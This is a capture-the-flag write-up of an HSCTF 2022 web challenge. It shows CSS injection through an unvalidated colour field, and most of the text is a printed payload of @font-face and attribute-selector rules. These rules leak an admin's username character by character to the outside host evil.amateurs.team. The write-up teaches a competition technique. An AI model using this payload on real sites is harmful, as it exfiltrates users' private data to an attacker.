ʕ·ᴥ·ʔ






Markdown++

06/10/2022

By: HELLOPERSON and smashmaster

Tags: web HSCTF-2022

Problem Description:

Pfft, who needs Markdown? Just roll your own markup language - definitely no bugs in sight.

Hints:

Reveal Hints CSS more powerful than you think.

This language to be honest, is more like bbcode. Here’s a sample.


[b this text should be bold iirc]

We have a red herring as usual with stuff dealing with anchor elements not validating the protocol of a url so we can use a javascript: url but that xss requires a click.

Let’s a dig a bit deeper

  • b,i,s, and the code element only allow us to use a selection of preselected css
  • a let’s us set a abirtrary href but we can’t really use that for a 0click xss.

This leaves us with the foreground/background color. It seems to be setting the css to a concatenation of strings with our “color” being at the end which is a red flag especially when there’s no validation we actually put in a color. It only stops adding to the string when it detects a space. But guess what, we don’t need spaces for CSS at all!

Wow css injection, I wonder what we can do with this. but smashmaster gets sidetracked lmao

smashmaster does a whoopsie

Looking at the page, we can assume that the flag is stored in the admin username. This username is stored in the placeholder attribute of an input element. Cool, let’s leak the flag 1 char at a time.

Before we do that, let’s leak the flag charset using fonts because apparently you can have a font load only for characters you specify in css ().

[c=
purple;}@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:A');
	unicode-range:U+0041;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:B');
	unicode-range:U+0042;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:C');
	unicode-range:U+0043;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:D');
	unicode-range:U+0044;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:E');
	unicode-range:U+0045;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:F');
	unicode-range:U+0046;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:G');
	unicode-range:U+0047;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:H');
	unicode-range:U+0048;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:I');
	unicode-range:U+0049;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:J');
	unicode-range:U+004A;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:K');
	unicode-range:U+004B;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:L');
	unicode-range:U+004C;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:M');
	unicode-range:U+004D;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:N');
	unicode-range:U+004E;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:O');
	unicode-range:U+004F;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:P');
	unicode-range:U+0050;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:Q');
	unicode-range:U+0051;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:R');
	unicode-range:U+0052;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:S');
	unicode-range:U+0053;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:T');
	unicode-range:U+0054;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:U');
	unicode-range:U+0055;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:V');
	unicode-range:U+0056;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:W');
	unicode-range:U+0057;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:X');
	unicode-range:U+0058;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:Y');
	unicode-range:U+0059;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:Z');
	unicode-range:U+005A;
}

@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:a');
	unicode-range:U+0061;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:b');
	unicode-range:U+0062;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:c');
	unicode-range:U+0063;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:d');
	unicode-range:U+0064;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:e');
	unicode-range:U+0065;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:f');
	unicode-range:U+0066;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:g');
	unicode-range:U+0067;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:h');
	unicode-range:U+0068;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:i');
	unicode-range:U+0069;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:j');
	unicode-range:U+006A;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:k');
	unicode-range:U+006B;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:l');
	unicode-range:U+006C;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:m');
	unicode-range:U+006D;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:n');
	unicode-range:U+006E;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:o');
	unicode-range:U+006F;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:p');
	unicode-range:U+0070;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:q');
	unicode-range:U+0071;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:r');
	unicode-range:U+0072;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:s');
	unicode-range:U+0073;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:t');
	unicode-range:U+0074;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:u');
	unicode-range:U+0075;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:v');
	unicode-range:U+0076;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:w');
	unicode-range:U+0077;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:x');
	unicode-range:U+0078;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:y');
	unicode-range:U+0079;
}
@font-face{
	font-family:attack;
	src:url('//evil.amateurs.team/?Found:z');
	unicode-range:U+007A;
}

h1{
	font-family:attack;
}
#stfu{ we put text here to offend admins that looked at logs]

We get tjkegsauwfrlbp{}_. Damn only 6 new characters. Up until this point smashmaster had no idea the flag was in the placeholder NOT being typed in by the admin bot. So uh helloperson decided to just cheese it knowing that. In css we can select things conditionally based off their attributes. For example the following selects input elements that have a value attribute.

input[value] {
  background-color: red;
}

We can be even more strict and check for exact text.

input[value="hsctf{"] {
  background-color: red;
}

Even better we can check if an attribute starts with a specific character sequence!

[value^="hsctf{"] {
  background-color: red;
}

Putting this together we make it so that if the placeholder attribute matches one of the possible characters appended to the portion of the flag we know, we send a request to a unique url on a domain we control by setting it’s background-image property. Assembling this into a flag, we see that this obviously can be rearranged into flag{waterfall_bfutsftfejpk}